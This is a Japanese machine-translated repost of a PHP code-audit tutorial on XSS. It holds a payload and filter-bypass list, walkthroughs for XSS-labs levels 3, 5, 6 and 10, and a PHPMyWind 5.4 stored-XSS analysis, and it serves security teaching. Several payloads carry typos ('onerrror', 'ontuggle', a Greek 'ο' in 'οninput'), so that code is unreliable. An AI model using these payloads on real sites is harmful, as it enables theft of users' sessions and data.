PHP コード監査 5 - XSS の脆弱性

1. XSS脆弱性の基礎

1. 基本的な定義

クロスサイトスクリプティング攻撃(クロスサイトスクリプト)とは、攻撃者がWebサイトのプログラムを利用してユーザー入力のフィルタリングが不十分なHTMLコードを作成し、その入力内容をページ上に表示して他のユーザーに影響を与えることでユーザー情報を盗み、Webサイトを悪用する攻撃です。ウイルス侵害の特定の行為または攻撃方法を実行するためのユーザーの身元。Cascading Style Sheets CSS と区別するために、通常は XSS と略されます。

2. XSS攻撃の分類

反射性:

反射型 XSS 攻撃は、データを直接出力するか、ブラウザーでの完全なセキュリティ フィルタリングを行わずに単純に出力するため、出力データ内のコードがブラウザーによって実行される可能性があります。通常、この種のコードは URL に存在するため、攻撃者は多くの場合、被害者をだまして悪意のあるリンクをクリックさせて攻撃を実行する必要があります。

ストレージタイプ:

これは、Web アプリケーションがユーザー入力データを厳密にフィルタリングしないことを意味し、Web アプリケーションはハッカーの悪意のあるクロスサイト攻撃スクリプトをデータベースまたはその他の形式のファイルに保存します。被害者がクエリを実行すると、スクリプトの内容が取得され、実行されました。これは、保存されたクロスサイト スクリプティング攻撃につながります。

DOM タイプ:

DOM 型 XSS 攻撃とは、DOM ノードのデータ情報を変更することによって形成される XSS 攻撃を指します。関連する攻撃を実行するには、JavaScript DOM コードを解析し、実際の状況に応じて使用する必要があります。DOM 型 XSS 攻撃はリフレクション型 XSS 攻撃と似ていますが、DOM 型 XSS 攻撃との違いは、JavaScript コードがバックエンドで処理されるのではなく、フロントエンドで JavaScript コードを使用して処理された後に出力される点です。

3. 一般的な攻撃手法

XSS 攻撃は、ユーザー情報の窃取、XSS クッキーの窃取、XSS フィッシング攻撃、XSS ワーム攻撃、ブラック リンクの挿入、クリック ハイジャック、キーロギングなど、さまざまな方法で使用される可能性があります。

XSS は受動的な攻撃であり、ユーザーを騙してクリックさせる方法は大きな問題です。多くの場合、URL の変形、短いリンク、クリックジャッキングのための他のページへの埋め込みが含まれます。

4. 一般的なペイロードとツール

一般的な攻撃方法:

  • インターライン

    <div onclick="alert('yea...这样子可以执行JS哦')"></div>
    <a href="javascript:alert('执行JS代码但不跳转');">点我</a>
    <a href="javascript:void(0)" onclick="alert('点击执行JS代码');">再来点我啊</a>
    <img src=1 onerror=alert("XSS");>    #使用onerror事件在源地址加载错误时执行XSS代码
    <input onfocue=alert("XSS");>    #规定一个输入字段,在对象获得焦点时执行
    <details ontuggle=alert("xss");>  #一个提供用户开启和关闭功能的交互式可见或影藏补充内容的控件,ontoggle事件在用户打开元素时触发
    <svg onload=alert("XSS");>  #在HTML网页中嵌入SVG文件来引入JS代码
    <select onfocus=alert("XSS");></select> # <select>标签用于创建下拉列表,获得焦点时触发JS代码
    <iframe onload=alert("XSS");></iframe>    #<iframe>标签会创建一个包含另外一个文档的内联框架
    <video sourse=1 onerror=alert("XSS");>
      .........
    
  • 外部チェーン

    <script src="../test.js"></script>
    <img src=http://xxx.xxx/com/xxx.js> 
    .....
    
  • 埋め込み

     <script>
            alert('js hello world!');//弹窗
     </script>
    
  • イベントを通じて紹介

    常见的js事件:
     onchange:HTML元素已被改变时执行JS
     onclick: 当用户点击了 HTML 元素时执行JS
     onmouseover: 当用户把鼠标移动到 HTML 元素上时执行JS
     onmouseout: 当用户把鼠标移开 HTML 元素时执行JS
     onkeydown: 当用户按下键盘按键时执行JS
     onload:当浏览器已经完成页面加载时执行JS
     onerror: 当执行错误时加载JS代码
    

一般的なテストツール:

  • XSStrike: python3 に基づいて作成された XSS テスト ツール
  • XSSer: マルチプラットフォーム動作をサポート

5. 一般的な防御回避テクニック

  • 空白フィルターのバイパス:
    • スペースの代わりに「/」を使用してください
    • eg: <img/src=1/onerror=alert("XSS");>
  • 引用フィルターのバイパス:
    • HTML では引用符を使用できませんが、JS ではバッククォート「`」を使用できます。
  • ブラケット フィルタリング バイパス:
    • ブラケット フィルタリングは、throw を使用してバイパスできます。throw ステートメントは、エラーが発生したときにエラーをスローするために使用されます。
    • 例えば:<img src=x onerrror="javascript:windows.onerror=alert;throw 1">
  • キーワードフィルタリングのバイパス:
    • ケースバイパス
    • 二重書き込みのバイパス: 一部の WAF は、検出と置換を 1 回のみ行う場合があります。その場合は、二重書き込みのバイパスを検討できます。
    • 文字列連結バイパス:
      • JAVAscriptのeval関数もPHPのeval関数と同様にeval()関数を使うことでJavaScriptの文字列を実行し、スクリプトとして実行することができます。例えば:<img src='x' onerror="a='aler';b='t';c='('XSS')';eval(a+b+c)">
      • top() 関数を使用します。例:<script>top['a'+'lert']('XSS')</script>
  • 文字エンコーディングのバイパス:
    • URL エンコードは URLdecolde+strReplace をバイパスします

2. XSS-labsの部分コード解析

1. レベル3分析

まずコードを見てください。

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

ここでは、最初に GET メソッドを使用して受信キーワードを取得し、次に 2 つの出力場所で htmlspecialChars() 関数を使用して受信結果の HTML エンティティをエンコードし、一重引用符を使用して値をラップします。値属性。

htmlspecialChars() が<,>,&,",',",@シンボルをエンコードすることがわかっているので、これらのシンボルなしで JS コードを使用する方法を検討する必要があります。

コードを注意深く見ると、input タグの Value 属性に入力内容が出力されていることがわかり、それを利用するために JS イベントを導入することを検討できますが、上記の記号は JS コード内に存在できません。そのようなペイロードは次のとおりです。

‘ οninput=alert(1) ’

このペイロードを入力すると、出力は次のようになります。

<center>
<form action=level3.php method=GET>
<input name=keyword  value='' οninput=alert(1) ''>	
<input type=submit name=submit value=搜索 />
</form>
</center>

入力したJSコードには特殊な記号がないためエスケープされず、前後の閉じに使用されるシングルクォーテーションもエンコードされて出力され、フロントエンドでも引用符に解析されて正常に閉じられます。値属性。ただし、ここでも機能が使用されています。つまり、alert() 関数の出力コンテンツを引用符で囲む必要がないため、この機能をバイパスできます。

実践的なテスト:

ここに画像の説明を挿入

2. レベル5分析

または、最初にコードを見てください。

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

Less-3 との違いは非常に大きく、
最初の違いは、入力内容を小文字に変換するために strtolower() 関数が使用されることです。
違い 2: str_replace() 関数は、入力コンテンツの on と <script を置換するために使用されます。つまり、すべてのイベント タグとスクリプト タグは使用できません。
違い 3: iuput ボックスの出力は、htmlcpeailchar() 関数でエンコードされません。

jsイベントやscriptタグが使えないので、他の方法を考えるしかありませんが、上記のXSSペイロードを見返すと、この条件を満たすペイロードが存在することがわかります(タグラインにあるため) 、先頭と末尾に引用符と山括弧を追加する必要があります)。

"> <a href="javascript:alert(XSS);">点我</a> <"

実践的なテスト:

ここに画像の説明を挿入

3. レベル6の分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>

Less-5 と同じルーチンですが、src、href、data もフィルタリングされるため、これが困難です。

しかし、メソッドは常に存在しており、注意深く観察したところ、小文字への変換に strto lower() 関数が使用されていないため、大文字と小文字をバイパスできることがわかりました。ペイロード:

"><sCript>alert(123)</FScripT>

ここに画像の説明を挿入

4. レベル 10 の分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

上記のコードから、合計 2 つのパラメーターが取得されていることがわかります。1 つ目はキーワード、もう 1 つは t_sort です。

キーワード パラメータの場合、出力のエンコードに htmlspecailchar() 関数が使用されますが、この関数は行に埋め込まれていないため、クロージャをバイパスする方法はありません。t_sort パラメータのみを考慮できます。

t_sort パラメータは str_replace() 関数を使用して「<」と「>」を置き換えますが、HTML エンティティのエンコード出力やその他の操作は実行しないため、「<」と「>」を除いたペイロードを取得するだけです。ペイロードは次のとおりです。

" type="text" onclick="alert('xss');

試験結果:

ここに画像の説明を挿入

3. 例: PHPmyWind XSS 脆弱性分析

脆弱性の詳細: PHPMyWind5.4 の顧客メッセージでは、メッセージ内容の不適切な処理により、メッセージ内容の管理、変更、復元、変更が行われる際に、攻撃者によって挿入された XSS 攻撃コードがトリガーされる可能性があります。

まず、ホームページ上の顧客メッセージの位置にワンホップ メッセージ データを挿入し、パケットをキャプチャしてデータが送信される位置を観察します。

ここに画像の説明を挿入

メッセージのコンテンツが content パラメーターを使用して渡され、message.php ファイルに渡されることがわかります。message.php ファイルを入力してコードを分析します。

ここに画像の説明を挿入

28 行目で htmlspecialchars() 関数を使用してエンティティ エンコーディングをエスケープし、それが 34 行目でデータベースに挿入されていることがわかります。実際、ここでは問題はなく、エンティティのエンコーディングは理論的にはより安全です。

しかし、脆弱性の説明に従ってバックグラウンド メッセージ管理の場所に到達し、メッセージを変更することを選択し、パケットをキャプチャしました。

ここに画像の説明を挿入

通関 ID によってメッセージの内容が特定され、要求されたバックエンド ファイルが message_update.php であることがわかります。変更したファイルにアクセスしてコードを分析してみましょう。

ここに画像の説明を挿入

コードの 15 行目では、メッセージの内容が ID を介してクエリされ、次に 30 行目で、echo を直接使用して JS コードがテキスト フィールドに出力されます。

HTM エンティティのエンコードは行われていますが、出力位置は属性内容として出力されるのではなく、htm コードに直接出力されるため、html エンティティのエンコードは実質的な効果はありません。出力後の実際の効果は次のとおりです。

ここに画像の説明を挿入

おすすめ

転載: blog.csdn.net/qq_45590334/article/details/125989941